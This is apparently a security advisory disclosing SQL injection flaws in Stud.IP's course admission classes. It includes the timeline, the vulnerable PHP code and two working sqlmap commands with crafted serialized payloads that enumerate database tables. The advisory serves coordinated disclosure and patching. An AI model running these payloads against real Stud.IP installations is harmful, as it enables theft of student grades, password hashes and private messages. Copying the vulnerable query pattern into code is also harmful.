Multiple SQL injection vulnerabilities were found in Stud.IP, a learning management system widely deployed at several German universities. All Stud.IP releases prior to v6.0.3 and v5.4.12 are affected. An authenticated attacker with dozent (lecturer) or admin privileges can exfiltrate the entire database (including password hashes, private messages, and student grades), or perform a denial-of-service against the database. All vulnerabilities are bundled as CVE-2026-51346.

Timeline

  • 2026-04-12: Vulnerabilities discovered
  • 2026-04-13: Reported to Stud.IP
  • 2026-04-21: Stud.IP confirmed vulnerabilities
  • 2026-04-22: Stud.IP released patches (v6.0.3, v5.4.12)
  • 2026-08-17: Public disclosure

Description

Several PHP classes in Stud.IP’s course admission system concatenate user-controlled input directly into SQL statements instead of using parameterized queries. The affected classes are:

  • CourseSet (lib/classes/admission/CourseSet.php)
  • AdmissionUserList (lib/classes/admission/AdmissionUserList.php)
  • ConditionalAdmission (lib/admissionrules/conditionaladmission/ConditionalAdmission.php)
  • UserFilter (lib/classes/UserFilter.php)

All of these follow the same anti-pattern in their store() methods of building SQL queries via string interpolation of $this->id or another user-controlled value passed to the built-in implode() function.

For example, in CourseSet::store():

$stmt = DBManager::get()->query("SELECT `rule_id`, `type` FROM `courseset_rule`
    WHERE `set_id`='".$this->id."' AND `rule_id` NOT IN ('".
    implode("', '", array_keys($this->admissionRules))."')");

The $this->id and $this->admissionRules values are set from deserialized user input and never sanitized or passed through a prepared statement. The same pattern repeats several times across all four classes.

Reproduction

There are many different paths through which the identified injection points can be reached. Below are two sqlmap commands demonstrating table enumeration using two different targets. The first one uses a CourseSet’s $this->id for injection, while the second one uses a $keys variable which is computed in the ConditionalAdmission::store() function. A screenshot of a full run is shown in the next section.

BASE_URL="http://localhost:8032"
SESSION_ID="TO BE FILLED" # <-- fill with Studip_Session cookie value from authenticated browser session

# CourseSet::store() injection via $this->id
sqlmap -u "$BASE_URL/dispatch.php/admission/courseset/save/" \
  --data 'submit=1&name=Dummy&institutes[]=&infotext=Dummy&private=0&rules[]={"__SERIALIZED_CLASS__":"ConditionalAdmission","id":"*","message":"Test","startTime":0,"endTime":0,"courseSetId":"","conditions":[],"ungrouped_conditions":[],"conditiongroups":[],"quota":[],"conditiongroups_allowed":false}' \
  --cookie="Studip_Session=$SESSION_ID" \
  --tables

# ConditionalAdmission::store() injection via $keys
sqlmap -u "$BASE_URL/dispatch.php/admission/courseset/save/" \
  --data 'submit=1&name=Dummy&institutes[]=&infotext=Dummy&private=0&rules[]={"__SERIALIZED_CLASS__":"ConditionalAdmission","id":"x","message":"Test","startTime":0,"endTime":0,"courseSetId":"","conditions":[],"ungrouped_conditions":{"*":0},"conditiongroups":[],"quota":[],"conditiongroups_allowed":false}' \
  --cookie="Studip_Session=$SESSION_ID" \
  --tables

Impact

Using tools such as sqlmap, an attacker can automate the extraction of the entire database. In the context of Stud.IP as used within a university, this includes:

  • Student grades and academic records
  • Password hashes for all users
  • Private messages between students and staff
  • Personal information (names, email addresses)

Beyond data exfiltration, the injection also enables data deletion from certain tables and denial-of-service attacks against the MySQL database.

The screenshots below demonstrate a full sqlmap run against the system.

Instructing sqlmap to extract grading information

Instructing sqlmap to extract grading information

Successful exfiltration of grading information

Successful exfiltration of grading information

References